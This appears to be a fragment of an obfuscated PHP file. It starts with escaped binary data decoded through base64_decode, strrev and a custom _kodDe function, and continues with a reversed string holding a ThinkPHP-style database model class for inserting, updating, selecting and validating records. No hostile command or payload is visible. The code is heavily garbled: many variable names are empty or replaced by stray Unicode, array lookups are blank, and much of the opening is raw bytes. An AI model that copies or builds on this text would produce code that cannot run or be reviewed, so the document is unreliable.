10\x25\x20\xcf\xa0\x8a\x8d\x0".strrev('=@\\EU/tB̴+twYUHx%0.V,/~ێA[')."\107\205\122\10\227\16\210\314\207\230\74\233\312\355\174\30\254\320\247\71\225\274\316\155\323\335\223\52\147\200\367\223\114\104\117\141\77\266\162\46\134\126\247\7\105\55\162\141"."\104\336\326\56\322\130\246\140\247\114\12\324\202\362\337\44\366\40\2\305\307\342\46\71\10\335\356\102\335\352\101\104\275\70\115\140\102\272\50\66\146\145\342\46\303\127\232\315"."\xcf\x60\x51\x67\x94\xba\x74\x4e\x28\x52\x21\x80\xb6\x93\x19\xcb\x74\x38\x17\x87\xe3\xd1\x3a\x14\x81\xa8\x4c\xae\x25\x69\x16\xff\x3c\x51\x8f\xeb\xa2\x51\x72\x6\xce\x93\xa2\x73\x9d\xd5\xae\xb1"."\xb3\x9e\x68\xa9\x11\x67\xea\x12\x63\xe9\x9\x7a\x75\xfa\xc8\xb9\xec\xb0\xa3\x95\x79\x57\x17\xea\x6e\x78\x1a\x13\x92\x12\x94\xb0\xd1\x67\xe5\x9\x21\x51\x99\xda\xa1\x40\x5e\x1c\x10\x13\x96\x9e".base64_decode('Mi0ic5DcW+SduN4vB6Mml7XgSy+9TBHYo5CEAvCOCKWcouyfSHLQjkKSJ36JKPTX')."\x28\x9c\x9a\x54\x69\xc9\x34\x30\x45\x8a\x20\xe9\xcb\x11\x96\x1e\x11\xa1\x64\x7e\x42\x84\x1c\x89\x62\x2f\xbf\xa9\xf1\x90\x7b\xcc\xa2\x45\x91\xa9\x29\x66\xa2\x82\xb\x20\xae\x62\x70\xf\x6c\x39"."\16\25\213\35\45\213\236\311\131\110\235\45\131\150\34\46\150\204\303\25\71\306\306\56\366\73\331\264\225\213\51\123\25\211\222\106\64\305\135\120\301\350\210\101\202\210\121\235"."\xe9\x84\xfa\x6b\x6a\xfd\xd3\xb8\x9f\x36\xc9\xc5\x13\x70\x14\x80\xd3\xd1\x3e\x91\x96\x1\x66\xbe\x18\x4a\x1\x8d\x4a\x48\x27\xd2\x98\xd2\x7d\x17\x71\xc2\x22\x5c\x4f\x10\x7f\x33\x7c\x3e\x89\x63"."\32\36\262\244\163\135\347\332\226\304\103\213\214\142\205\132\2\125\302\304\11\72\313\305\323\21\302\321\315\56\265\131\117\2\264\63\334\361\340\153\137\64\206\72\211\61\135\312"."\116\236\102\340\105\7\371\65\1\222\113\364\103\350\16\43\220\111\75\372\113\3\43\324\53\250\357\32\246\4\315\161\226\0\47\115\16\54\125\321\300\253\22\212\244\206\300\360".base64_decode('yGlVNTYEdsm42ka5uSZWuMIYhSvL2nKAxfLFabsCVMHMlZuDeKph5mORy2I6WjuC').base64_decode('HNTItydl44XLrCamxaWP6MBsDeeMlBKNLYw0haLNkcQipV93FKFLQl7kcG9lInCk')."\3\317\126\165\57\177\34\2\177\372\173\21\365\356\117\163\16\307\26\274\214\244\146\47\275\253\345\56\226\256\77\335\52\51\61\217\115\165\262\45\171\260\30\265\114\352\254\220"._kodDe('LDwh/XtQiHCMuUZG7H1E/pckt3Of1+YSXWohm7pDA9mUXLmDriQRNV5uXlWIIEbGLw==').base64_decode('3BZpV0PRaGypSx1RCJAt/l5KWn5eRZoZMQm09lJPbuAHS/Zk7xFp0OmTvfsV2P0J').base64_decode('vBDJX1ugQen1o4KlGbYuAeirPZPBMkbLZl3vHmb7pGDRfbKWrUqlFTCY5ECwXII4')."\x7e\xd0\xfe\x7f\xdd\x54\x23\x2d\x9c\x77\x19\x69\xa6\xc6\xc1\xd\x19\xe9\x43\xc\x4d\xf2\x1b\x99\xac\xce\x92\x17\x9e\xbe\xf5\xad\x28\x9f\xb8\xc0\x51\x89\x7b\x23\xf6\x64\x9d\x49\x58\x13\xa0\x9b"."\51\54\22\123\251\247\37\121\5\142\232\255\321\202\174\345\27\114\7\371\20\323\17\354\243\60\314\356\231\160\100\60\11\70\71\224\206\253\243\254\43\342\210\261\0\214\261\23"."\114\275\24\341\11\30\147\327\225\267\347\325\53\257\46\256\353\231\371\222\72\310\223\13\64\256\13\167\7\245\354\21\235\103\41\376\244\212\310\352\215\51\323\0\24\255\10\371".strrev(' pZ73$ebWA(@74ʲձq\\b3.elS(4O')."\225\242\254\135\134\173\21\77\26\222\357\63\345\361\43\10\31\333\117\320\147\24\51\377\356\103\174\217\356\224\276\271\104\263\377\177\311\110\43\23\222\116\247\273\220\322\6\331"."\336\243\116\220\135\370\71\251\214\71\354\176\113\21\103\274\17\110\271\236\216\222\66\15\261\36\226\37\273\162\147\362\225\74\332\242\220\107\162\25\264\324\141\26\261\313\51\306".base64_decode('H5LEUtWT6E83/LLjzNsIiqigymq+qJoyRjZtce0aAWjTBdNOcmEFE409Bkxelmtm')."\70\31\336\211\51\367\252\30\366\20\350\176\356\106\274\42\44\316\116\367\253\52\374\216\330\26\233\301\166\134\357\370\44\315\244\326\357\243\24\31\306\152\42\324\70\52\177\313"."\32\265\244\27\50\222\11\326\322\174\276\347\111\11\330\323\174\151\37\171\104\216\242\72\357\103\64\322\116\343\370\123\316\335\237\65\173\265\154\234\52\245\271\254\155\54\304\115"."\x71\x45\x53\x57\x32\xa\xa\x6a\x85\x82\xb8\x9c\x92\x8f\x4c\xf4\xaf\xcb\xca\x11\xe2\x3a\x93\xad\x2a\xb1\xd5\x57\xe9\x1d\x76\x42\xac\x39\xe9\x5a\x8b\x2\xe1\x8a\xab\x98\x8f\xd0\x1b\x1\x17\xd4".base64_decode('kvg8WRuaXuYJuzpIjtrZQW/vYMDkItmNKhdPt0iPxgdLb2Cxuh1gFFkbFa7AAzIj')."\6\11\224\271\212\130\32\256\215\214\227\22\242\206\351\63\175\4\123\310\204\373\67\100\245\107\222\340\71\300\162\157\36\321\225\117\176\232\365\76\316\324\340\260\70\334\145\177"."\43\202\25\367\276\324\127\372\352\40\173\141\220\155\35\170\136\260\314\233\201\143\76\71\350\23\46\224\337\364\224\222\60\364\163\277\61\215\373\301\111\3\316\67\224\260\36\136"."\xae\x83\xf\xab\x27\x43\xdc\x3b\xc8\x49\xb3\x54\x56\x2b\xee\xa8\x5d\xf\x22\x4a\xbd\x6\xd4\x56\xfa\xa8\xa2\x34\xc\x52\xbf\x8b\x56\xd6\x47\xae\xeb\x7d\xcc\x5f\x5f\xd9\x77\x19\x5d\xf\x3b\x79".base64_decode('J7TMy47fWiDoAhOmK+3GevVzey12/+lNZrjWrmrpwkCIOlctOSCW59K102bMloUb').base64_decode('YgrFZSF4OYDLTaBWxKJQ3MtQYR5d5d1PIt1q2qXvfnpOgP/dhhHcA00qKU2Xvp9c')."\x32\x2\x64\x9d\x4a\xea\x44\xd2\x81\xe8\x51\x5\x31\xb1\xae\x86\x2d\x76\x1d\x3d\x2\xc5\xd3\x9f\xee\xba\x28\xf9\x50\xa6\x1f\xd2\xb9\x27\x36\xb\x7d\xba\xd1\xcc\x62\x1e\x3b\x87\xe5\xe8\x8e\xa5".base64_decode('uRnKcnwTGQnGpBnkTXTd23YyMCBNEdESYyWX6JheURDOjs9FIqWM5bNwbGOjcbHb').base64_decode('JEz0v5hAxiNRdkooApXpeXABQy1lnuaU9Cq+od2UuuP8oF9z/NKClMSHuhMjEwwo')."\102\260\255\356\276\172\212\107\331\104\31\75\76\145\254\104\245\44\236\364\202\247\160\53\46\21\167\70\67\263\44\35\203\353\147\230\112\176\233\324\311\10\366\205\356\120\327\156"."\225\374\44\313\346\165\244\40\171\33\224\26\55\75\320\50\4\101\104\162\4\235\200\75\114\274\245\22\23\313\320\102\156\166\251\111\312\133\156\351\24\36\135\351\361\135\123\376"."\26\243\216\61\175\214\171\237\105\265\273\270\113\24\156\366\274\305\114\260\222\367\201\146\66\104\4\25\10\54\47\131\357\272\130\31\376\144\235\213\265\261\275\357\124\42\2\117"."\xf6\x20\x8d\x82\xde\x77\x7e\x1\x1d\x12\xb5\x7a\x5a\x9b\x74\xa0\x8a\xb3\x53\x7c\xb5\x17\x73\x22\x20\x89\x74\x9\x17\xc5\x23\x5d\x46\xce\xd8\x3d\x96\x67\xe7\x33\xd3\x69\xdb\xf3\x7e\x2d\xf5\xed".base64_decode('S78Zsf//+4nG/1svM86YyoTvruedFwLJzai81ZL/cCr49fTDfWhOhFXEHy+Xwlx3')."\230\271\110\143\236\323\64\166\31\245\145\263\322\321\132\236\111\51\171\70\27\55\276\1\376\326\152\271\200\327\106\317\373\210\156\27\173\140\236\274\217\333\123\56\241\300\74\144".strrev('O@y+a0 d(uH/=2%')."\25\30\267\130\15\150\276\147\1\303\115\304\117\0\240\50\31\55\271\100\45\310\54\351\232\22\27\120\36\155\230\102\154\30\315\146\323\225\243\315\363\42\50\115\144\313\243\351"."\x92\xd7\x97\xea\x15\x94\xe6\xe6\x68\x40\xce\x82\x35\xb6\xdd\x22\x2c\xfe\xae\xfb\x54\xef\x43\xef\x35\xfe\xd2\xca\xa8\xc1\x4\x96\xa2\xc4\xb1\xdc\x82\x49\xa2\xc8\x95\xe\xb9\x67\x2d\x93\x87\x2e"."\333\204\110\63\306\306\51\277\175\371\113\254\102\54\207\277\344\376\62\64\320\141\231\204\272\163\103\271\54\107\322\202\225\236\46\237\24\50\71\154\30\352\163\15\71\142\334\304"."\235\241\141\22\177\374\54\153\147\133\25\261\375\201\25\213\170\211\26\123\314\275\364\10\70\336\140\302\315\45\166\112\106\304\207\362\21\316\314\361\44\155\166\0\271\204\174\266".strrev('1w[R}_initialize(); if (!empty($ɝ)) { if (strpos($ɝ, $[10])) { list($this->dbName, $this->name) = explode($[10], $ɝ); } else { $this->name = $ɝ; } } elseif (empty($this->name)) { $this->name = $this->getModelName(); } if (is_null($յ)) { $this->tablePrefix = $[12]; } elseif ($[12] != $յ) { $this->tablePrefix = $յ; } else { $this->tablePrefix = $this->tablePrefix ? $this->tablePrefix : think_config($[244]); } $this->db(0, empty($this->connection) ? $ : $this->connection); $this->_classObjectID = mt_rand(0, 10000); } protected function _checkTableInfo() { $ =& $_SERVER[]; if (empty($this->fields)) { if (think_config($[245])) { $ = $this->dbName ? $this->dbName : think_config($[246]); $ = think_var_cache($[247] . strtolower(get_path_this($) . $[10] . $this->name)); if ($) { $ = think_config($[248]); if (empty($) || $[$[249]] == $) { $this->fields = $; return; } } } $this->flush(); } } public function flush() { $ =& $_SERVER[]; $this->db->setModel($this->name); $؟ = $this->db->getFields($this->getTableName()); if (!$؟) { return !1; } $this->fields = array_keys($؟); $this->fields[$[250]] = !1; foreach ($؟ as $ => $Ե) { $㔺[$] = $Ե[$[33]]; if ($Ե[$[39]]) { $this->fields[$[251]] = $; if ($Ե[$[42]]) { $this->fields[$[250]] = !0; } } } $this->fields[$[252]] = $㔺; if (think_config($[248])) { $this->fields[$[249]] = think_config($[248]); } if (think_config($[245])) { $Ƣ = $this->dbName ? $this->dbName : think_config($[246]); think_var_cache($[247] . strtolower(get_path_this($Ƣ) . $[10] . $this->name), $this->fields); } } public function switchModel($Ӕ, $ = array()) { $ɭ =& $_SERVER[]; $啵 = ucwords(strtolower($Ӕ)) . $ɭ[253]; if (!class_exists($啵)) { think_exception($啵 . think_lang($ɭ[254])); } $this->_extModel = new $啵($this->name); if (!empty($)) { foreach ($ as $ڹк) { $this->_extModel->setProperty($ڹк, $this->{$ڹк}); } } return $this->_extModel; } public function __set($, $ύ) { $this->data[$] = $ύ; } public function __get($궬) { return isset($this->data[$궬]) ? $this->data[$궬] : null; } public function __isset($ۛ) { return isset($this->data[$ۛ]); } public function __unset($) { unset($this->data[$]); } public function __call($Ü, $) { $꽭 =& $_SERVER[]; if (in_array(strtolower($Ü), $this->methods, !0)) { $this->options[strtolower($Ü)] = $[0]; return $this; } elseif (in_array(strtolower($Ü), array($꽭[255], $꽭[256], $꽭[257], $꽭[258], $꽭[259]), !0)) { $͵ = isset($[0]) ? $[0] : $꽭[189]; $͵ = $this->db->parseKey($͵); return $this->getField(strtoupper($Ü) . $꽭[260] . $͵ . $꽭[261] . $Ü, $꽭[255]); } elseif (strtolower(substr($Ü, 0, 5)) == $꽭[262]) { $͵ = think_parse_name(substr($Ü, 5)); $뜾[$͵] = $[0]; return $this->where($뜾)->find(); } elseif (strtolower(substr($Ü, 0, 10)) == $꽭[263]) { $Ռط = think_parse_name(substr($Ü, 10)); $뜾[$Ռط] = $[0]; return $this->where($뜾)->getField($[1]); } elseif (isset($this->_scope[$Ü])) { return $this->scope($Ü, $[0]); } elseif (method_exists($this, $Ü)) { array_unshift($, $Ü); return call_user_func_array(array($this, $꽭[264]), $); } else { return call_user_func_array(array(parent, $Ü), $); } } protected function call() { $ʽ =& $_SERVER[]; $ = func_get_args(); $ɦ = array_shift($); $֊ɘ = $ɦ; if (is_array($ɦ)) { $֊ɘ = $ɦ[1]; $ɦ = $ɦ[0]; } $ = count($) - 1; if (isset($[$]) && $[$] === $ɦ) { think_exception(__CLASS__ . $ʽ[4] . $ɦ . think_lang($ʽ[265])); return; } $[] = $ɦ; if (method_exists($this, $ʽ[266])) { $ = call_user_func_array(array($this, $ʽ[267]), array($֊ɘ, $)); if (!is_null($) && $ !== !1) { return $; } } $է = call_user_func_array(array($this, $ɦ), $); if (method_exists($this, $ʽ[268])) { $ = call_user_func_array(array($this, $ʽ[269]), array($֊ɘ, $, $է)); if ($) { return $; } } return $է; } protected function _initialize() { } protected function _facade($ܹ) { $ =& $_SERVER[]; if (!empty($this->fields)) { foreach ($ܹ as $ץ => $) { if (is_array($this->fields) && !in_array($ץ, $this->fields, !0)) { unset($ܹ[$ץ]); } elseif (is_scalar($)) { $this->_parseType($ܹ, $ץ); } } } if (!empty($this->options[$[270]])) { $ܹ = array_map($this->options[$[270]], $ܹ); unset($this->options[$[270]]); } $this->_beforeWrite($ܹ); return $ܹ; } protected function _beforeWrite(&$ל) { } public function add($˔ = '', $ݵ = array(), $ۣ§ = false) { if (empty($˔)) { if (!empty($this->data)) { $˔ = $this->data; $this->data = array(); } else { $this->error = think_lang($_SERVER[][271]); return !1; } } $ݵ = $this->_parseOptions($ݵ); $˔ = $this->_facade($˔); if (!1 === $this->_beforeInsert($˔, $ݵ)) { return !1; } $Ӏ = $this->db->insert($˔, $ݵ, $ۣ§); if (!1 !== $Ӏ) { $Ӱ띯 = $this->getLastInsID(); if ($Ӱ띯) { $˔[$this->getPk()] = $Ӱ띯; $this->_after_insert($˔, $ݵ); return $Ӱ띯; } $this->_after_insert($˔, $ݵ); } return $Ӏ; } protected function _beforeInsert(&$ɉà, $) { } protected function _after_insert($ͳ, $̙) { } public function addAll($, $ = array(), $ŝ = false) { $ =& $_SERVER[]; if (empty($)) { $this->error = think_lang($[271]); return !1; } $ = $this->_parseOptions($); foreach ($ as $ => $ئů) { $[$] = $this->_facade($ئů); } if (method_exists($this->db, $[272])) { $Ҫ = $this->db->insertAll($, $, $ŝ); } else { $this->startTrans(); foreach ($ as $ => $ئů) { $Ҫ = $this->db->insert($ئů, $, $ŝ); } $this->commit(); } if (!1 !== $Ҫ) { $ߢۃ = $this->getLastInsID(); if ($ߢۃ) { return $ߢۃ; } } return $Ҫ; } public function selectAdd($ɜ٘ = '', $舵 = '', $ = array()) { $ɦÕ =& $_SERVER[]; $ = $this->_parseOptions($); if (!1 === ($ѕ = $this->db->selectInsert($ɜ٘ ? $ɜ٘ : $[$ɦÕ[273]], $舵 ? $舵 : $this->getTableName(), $))) { $this->error = think_lang($ɦÕ[274]); return !1; } else { return $ѕ; } } public function save($ܸ = '', $ۜ = array()) { $ =& $_SERVER[]; if (empty($ܸ)) { if (!empty($this->data)) { $ܸ = $this->data; $this->data = array(); } else { $this->error = think_lang($[271]); return !1; } } $ܸ = $this->_facade($ܸ); $ۜ = $this->_parseOptions($ۜ); $ʫǷ = $this->getPk(); if (!isset($ۜ[$[275]])) { if (isset($ܸ[$ʫǷ])) { $[$ʫǷ] = $ܸ[$ʫǷ]; $ۜ[$[275]] = $; unset($ܸ[$ʫǷ]); } else { $this->error = think_lang($[274]); return !1; } } if (is_array($ۜ[$[275]]) && isset($ۜ[$[275]][$ʫǷ])) { $ = $ۜ[$[275]][$ʫǷ]; } if (!1 === $this->_beforeUpdate($ܸ, $ۜ)) { return !1; } $ԥ = $this->db->update($ܸ, $ۜ); if (!1 !== $ԥ) { if (isset($)) { $ܸ[$ʫǷ] = $; } $this->_afterUpdate($ܸ, $ۜ); } return $ԥ; } protected function _beforeUpdate(&$ʎ, $) { } protected function _afterUpdate($ߠ, $) { } public function delete($祿 = array()) { $ӌ =& $_SERVER[]; if (empty($祿) && empty($this->options[$ӌ[275]])) { if (!empty($this->data) && isset($this->data[$this->getPk()])) { return $this->delete($this->data[$this->getPk()]); } else { return !1; } } $ = $this->getPk(); if (is_numeric($祿) || is_string($祿)) { if (strpos($祿, $ӌ[50])) { $[$] = array($ӌ[276], $祿); } else { $[$] = $祿; } $this->options[$ӌ[275]] = $; } $祿 = $this->_parseOptions(); if (is_array($祿[$ӌ[275]]) && isset($祿[$ӌ[275]][$])) { $۽ = $祿[$ӌ[275]][$]; } $Ť = $this->db->delete($祿); if (!1 !== $Ť) { $ = array(); if (isset($۽)) { $[$] = $۽; } $this->_after_delete($, $祿); } return $Ť; } protected function _after_delete($Ԁ, $) { } public function select($ɫŪ = array()) { $ˎ˷ =& $_SERVER[]; if (is_string($ɫŪ) || is_numeric($ɫŪ)) { $Ĉ = $this->getPk(); if (strpos($ɫŪ, $ˎ˷[50])) { $[$Ĉ] = array($ˎ˷[276], $ɫŪ); } else { $[$Ĉ] = $ɫŪ; } $this->options[$ˎ˷[275]] = $; } elseif (!1 === $ɫŪ) { $ɫŪ = $this->_parseOptions(); return $ˎ˷[277] . $this->db->buildSelectSql($ɫŪ) . $ˎ˷[278]; } $ɫŪ = $this->_parseOptions(); $Ѻ = $this->db->select($ɫŪ); if (!1 === $Ѻ) { return !1; } if (empty($Ѻ)) { return null; } $this->_afterSelect($Ѻ, $ɫŪ); return $Ѻ; } protected function _afterSelect(&$Ԉ, $) { } public function buildSql($Ě = array()) { $و =& $_SERVER[]; $Ě = $this->_parseOptions($Ě); return $و[277] . $this->db->buildSelectSql($Ě) . $و[278]; } public function optionsValue($ = null) { if (is_null($)) { return $this->options; } elseif (is_array($)) { $this->options = array_merge($this->options, $); } } protected function _parseOptions($棷͛ = array()) { $СŚ =& $_SERVER[]; if (is_array($棷͛)) { $棷͛ = array_merge($this->options, $棷͛); } $this->options = array(); if (!isset($棷͛[$СŚ[279]])) { $棷͛[$СŚ[279]] = $this->getTableName(); $ = $this->fields; } else { $ = $this->getDbFields(); } if (!empty($棷͛[$СŚ[280]])) { $棷͛[$СŚ[279]] .= $СŚ[53] . $棷͛[$СŚ[280]]; } $棷͛[$СŚ[281]] = $this->name; if (isset($棷͛[$СŚ[275]]) && is_array($棷͛[$СŚ[275]]) && !empty($) && !isset($棷͛[$СŚ[282]]) && !isset($棷͛[$СŚ[279]])) { foreach ($棷͛[$СŚ[275]] as $տ => $) { $տ = trim($տ); if (in_array($տ, $, !0)) { if (is_scalar($)) { $this->_parseType($棷͛[$СŚ[275]], $տ); } } elseif (!is_numeric($տ) && $СŚ[11] != substr($տ, 0, 1) && !1 === strpos($տ, $СŚ[10]) && !1 === strpos($տ, $СŚ[260]) && !1 === strpos($տ, $СŚ[283]) && !1 === strpos($տ, $СŚ[284])) { unset($棷͛[$СŚ[275]][$տ]); } } } $this->_options_filter($棷͛); return $棷͛; } protected function _options_filter(&$₶) { } protected function _parseType(&$龛, $݂ņ) { $ =& $_SERVER[]; if (empty($this->options[$[285]][$[4] . $݂ņ])) { $ܔ = strtolower($this->fields[$[252]][$݂ņ]); if (!1 !== strpos($ܔ, $[286])) { } elseif (!1 === strpos($ܔ, $[287]) && !1 !== strpos($ܔ, $[288])) { $龛[$݂ņ] = intval($龛[$݂ņ]); } elseif (!1 !== strpos($ܔ, $[289]) || !1 !== strpos($ܔ, $[290])) { $龛[$݂ņ] = floatval($龛[$݂ņ]); } elseif (!1 !== strpos($ܔ, $[291])) { $龛[$݂ņ] = (bool) $龛[$݂ņ]; } } } public function find($ = array()) { $ =& $_SERVER[]; if (is_numeric($) || is_string($)) { $[$this->getPk()] = intval($); $this->options[$[275]] = $; } $this->options[$[292]] = 1; $ = $this->_parseOptions(); $Ԣ = $this->db->select($); if (!1 === $Ԣ) { return !1; } if (empty($Ԣ)) { return null; } $this->data = $Ԣ[0]; $this->_afterFind($this->data, $); if (!empty($this->options[$[293]])) { return $this->returnResult($this->data, $this->options[$[293]]); } return $this->data; } protected function _afterFind(&$, $ƶ) { } protected function returnResult($ֆ, $撉 = '') { $ݜ =& $_SERVER[]; if ($撉) { if (is_callable($撉)) { return call_user_func($撉, $ֆ); } switch (strtolower($撉)) { case $ݜ[294]: return json_encode($ֆ); case $ݜ[295]: return xml_encode($ֆ); } } return $ֆ; } public function parseFieldsMap($, $ե = 1) { if (!empty($this->_map)) { foreach ($this->_map as $ => $) { if ($ե == 1) { if (isset($[$])) { $[$] = $[$]; unset($[$]); } } else { if (isset($[$])) { $[$] = $[$]; unset($[$]); } } } } return $; } public function setField($ᖥ, $ڇէ = '') { if (is_array($ᖥ)) { $Dz٭ = $ᖥ; } else { $Dz٭[$ᖥ] = $ڇէ; } return $this->save($Dz٭); } public function setAdd($, $Ǵ = 1) { $֔ =& $_SERVER[]; $ = $ . $֔[296] . $Ǵ; if ($Ǵ < 0) { $ = $ . $Ǵ; } return $this->setField($, array($֔[297], $)); } public function getField($ҝĒ, $͐ = null) { $鉦 =& $_SERVER[]; $ʤː[$鉦[273]] = $ҝĒ; $ʤː = $this->_parseOptions($ʤː); $ҝĒ = trim($ҝĒ); if (strpos($ҝĒ, $鉦[50])) { if (!isset($ʤː[$鉦[292]])) { $ʤː[$鉦[292]] = is_numeric($͐) ? $͐ : $鉦[12]; } $ = $this->db->select($ʤː); if (!empty($)) { $ = explode($鉦[50], $ҝĒ); $ҝĒ = array_keys($[0]); $ = array_shift($ҝĒ); $ȏ = array_shift($ҝĒ); $Ƭ = array(); $ = count($); foreach ($ as $˧) { $֫뉰 = $˧[$]; if (2 == $) { $Ƭ[$֫뉰] = $˧[$ȏ]; } else { $Ƭ[$֫뉰] = is_string($͐) ? implode($͐, $˧) : $˧; } } return $Ƭ; } } else { if (!0 !== $͐) { $ʤː[$鉦[292]] = is_numeric($͐) ? $͐ : 1; } if ($͐ === $鉦[255]) { unset($ʤː[$鉦[292]]); } $˧ = $this->db->select($ʤː); if (!empty($˧)) { if ($͐ === $鉦[255]) { return reset($˧[0]); } if (!0 !== $͐ && 1 == $ʤː[$鉦[292]]) { return reset($˧[0]); } foreach ($˧ as $К) { $݉[] = $К[$ҝĒ]; } return $݉; } } return null; } public function create($ = '', $ʙ = '') { $Օ =& $_SERVER[]; if (empty($)) { $ = $_POST; } elseif (is_object($)) { $ = get_object_vars($); } if (empty($) || !is_array($)) { $this->error = think_lang($Օ[271]); return !1; } $ = $this->parseFieldsMap($, 0); $ʙ = $ʙ ? $ʙ : (!empty($[$this->getPk()]) ? THINK_MODEL_UPDATE : THINK_MODEL_INSERT); if (isset($this->options[$Օ[273]])) { $ݵ = $this->options[$Օ[273]]; unset($this->options[$Օ[273]]); } elseif ($ʙ == THINK_MODEL_INSERT && isset($this->insertFields)) { $ݵ = $this->insertFields; } elseif ($ʙ == THINK_MODEL_UPDATE && isset($this->updateFields)) { $ݵ = $this->updateFields; } if (isset($ݵ)) { if (is_string($ݵ)) { $ݵ = explode($Օ[50], $ݵ); } if (think_config($Օ[298])) { $ݵ[] = think_config($Օ[299]); } foreach ($ as $ǎ̗ => $Ǻ) { if (!in_array($ǎ̗, $ݵ)) { unset($[$ǎ̗]); } } } if (!$this->autoValidation($, $ʙ)) { return !1; } if (!$this->autoCheckToken($)) { $this->error = think_lang($Օ[300]); return !1; } if ($this->autoCheckFields) { $ݵ = $this->getDbFields(); foreach ($ as $ǎ̗ => $Ǻ) { if (!in_array($ǎ̗, $ݵ)) { unset($[$ǎ̗]); } elseif (MAGIC_QUOTES_GPC && is_string($Ǻ)) { $[$ǎ̗] = stripslashes($Ǻ); } } } $this->autoOperation($, $ʙ); $this->data = $; return $; } public function autoCheckToken($ڃ) { $Ȳ =& $_SERVER[]; if (isset($this->options[$Ȳ[301]]) && !$this->options[$Ȳ[301]]) { return !0; } if (think_config($Ȳ[298])) { $ = think_config($Ȳ[299]); if (!isset($ڃ[$]) || Session::get($)) { return !1; } list($Ӯ롂, $ߤ) = explode($Ȳ[11], $ڃ[$]); if ($ߤ && Session::get($ . $Ȳ[10] . $Ӯ롂) === $ߤ) { Session::remove($ . $Ȳ[10] . $Ӯ롂); return !0; } if (think_config($Ȳ[302])) { Session::remove($ . $Ȳ[10] . $Ӯ롂); } return !1; } return !0; } public function regex($, $ȶ) { $ =& $_SERVER[]; $č = array($[303] => $[304], $[305] => $[306], $[307] => $[308], $[309] => $[310], $[311] => $[312], $[313] => $[314], $[315] => $[316], $[290] => $[317], $[318] => $[319]); if (isset($č[strtolower($ȶ)])) { $ȶ = $č[strtolower($ȶ)]; } return preg_match($ȶ, $) === 1; } private function autoOperation(&$, $ø) { $͏ =& $_SERVER[]; if (!empty($this->options[$͏[320]])) { $ = $this->options[$͏[320]]; unset($this->options[$͏[320]]); } elseif (!empty($this->_auto)) { $ = $this->_auto; } if (isset($)) { foreach ($ as $) { if (empty($[2])) { $[2] = THINK_MODEL_INSERT; } if ($ø == $[2] || $[2] == THINK_MODEL_BOTH) { switch (trim($[3])) { case $͏[321]: case $͏[322]: $Ҡ = isset($[4]) ? (array) $[4] : array(); if (isset($[$[0]])) { array_unshift($Ҡ, $[$[0]]); } if ($͏[321] == $[3]) { $[$[0]] = call_user_func_array($[1], $Ҡ); } else { $[$[0]] = call_user_func_array(array(&$this, $[1]), $Ҡ); } break; case $͏[273]: $[$[0]] = $[$[1]]; break; case $͏[323]: if ($͏[12] === $[$[0]]) { unset($[$[0]]); } break; case $͏[324]: default: $[$[0]] = $[1]; } if (!1 === $[$[0]]) { unset($[$[0]]); } } } } return $; } protected function autoValidation($, $) { $֖铝 =& $_SERVER[]; if (!empty($this->options[$֖铝[325]])) { $ = $this->options[$֖铝[325]]; unset($this->options[$֖铝[325]]); } elseif (!empty($this->_validate)) { $ = $this->_validate; } if (isset($)) { if ($this->patchValidate) { $this->error = array(); } foreach ($ as $τ => $) { if (empty($[5]) || $[5] == THINK_MODEL_BOTH || $[5] == $) { if (0 == strpos($[2], $֖铝[326]) && strpos($[2], $֖铝[327])) { $[2] = think_lang(substr($[2], 2, -1)); } $[3] = isset($[3]) ? $[3] : THINK_EXISTS_VALIDATE; $[4] = isset($[4]) ? $[4] : $֖铝[328]; switch ($[3]) { case THINK_MUST_VALIDATE: if (!1 === $this->_validationField($, $)) { return !1; } break; case THINK_VALUE_VALIDATE: if ($֖铝[12] != trim($[$[0]])) { if (!1 === $this->_validationField($, $)) { return !1; } } break; default: if (isset($[$[0]])) { if (!1 === $this->_validationField($, $)) { return !1; } } } } } if (!empty($this->error)) { return !1; } } return !0; } protected function _validationField($, $ެ) { if (!1 === $this->_validationFieldItem($, $ެ)) { if ($this->patchValidate) { $this->error[$ެ[0]] = $ެ[2]; } else { $this->error = $ެ[2]; return !1; } } return; } protected function _validationFieldItem($ۖ, $) { $ =& $_SERVER[]; switch (strtolower(trim($[4]))) { case $[321]: case $[322]: $ = isset($[6]) ? (array) $[6] : array(); if (is_string($[0]) && strpos($[0], $[50])) { $[0] = explode($[50], $[0]); } if (is_array($[0])) { foreach ($[0] as $) { $[$] = $ۖ[$]; } array_unshift($, $); } else { array_unshift($, $ۖ[$[0]]); } if ($[321] == $[4]) { return call_user_func_array($[1], $); } else { return call_user_func_array(array(&$this, $[1]), $); } case $[329]: return $ۖ[$[0]] == $ۖ[$[1]]; case $[330]: if (is_string($[0]) && strpos($[0], $[50])) { $[0] = explode($[50], $[0]); } $Ц = array(); if (is_array($[0])) { foreach ($[0] as $) { $Ц[$] = $ۖ[$]; } } else { $Ц[$[0]] = $ۖ[$[0]]; } if (!empty($ۖ[$this->getPk()])) { $Ц[$this->getPk()] = array($[331], $ۖ[$this->getPk()]); } if ($this->where($Ц)->find()) { return !1; } return !0; default: return $this->check($ۖ[$[0]], $[1], $[4]); } } public function check($ûȣ, $, $ط = "\x72\145\x67\x65\170") { $ =& $_SERVER[]; $ط = strtolower(trim($ط)); switch ($ط) { case $[7]: case $[332]: $ = is_array($) ? $ : explode($[50], $); return $ط == $[7] ? in_array($ûȣ, $) : !in_array($ûȣ, $); case $[333]: case $[334]: if (is_array($)) { $ۨ = $[0]; $ = $[1]; } else { list($ۨ, $) = explode($[50], $); } return $ط == $[333] ? $ûȣ >= $ۨ && $ûȣ <= $ : $ûȣ < $ۨ || $ûȣ > $; case $[335]: case $[336]: return $ط == $[335] ? $ûȣ == $ : $ûȣ != $; case $[337]: $ߤݟ = mb_strlen($ûȣ, $[338]); if (strpos($, $[50])) { list($ۨ, $) = explode($[50], $); return $ߤݟ >= $ۨ && $ߤݟ <= $; } else { return $ߤݟ == $; } case $[339]: list($ș, $) = explode($[50], $); if (!is_numeric($ș)) { $ș = strtotime($ș); } if (!is_numeric($)) { $ = strtotime($); } return NOW_TIME >= $ș && NOW_TIME <= $; case $[340]: return in_array(get_client_ip(), explode($[50], $)); case $[341]: return !in_array(get_client_ip(), explode($[50], $)); case $[328]: default: return $this->regex($ûȣ, $); } } public function query($, $ާ = false) { $ =& $_SERVER[]; if (!is_bool($ާ) && !is_array($ާ)) { $ާ = func_get_args(); array_shift($ާ); } $ = str_replace(array($[231], $[342]), $[53], $); $ = $this->parseSql($, $ާ); return $this->db->query($); } public function execute($Ӝ٣, $䴃 = false) { if (!is_bool($䴃) && !is_array($䴃)) { $䴃 = func_get_args(); 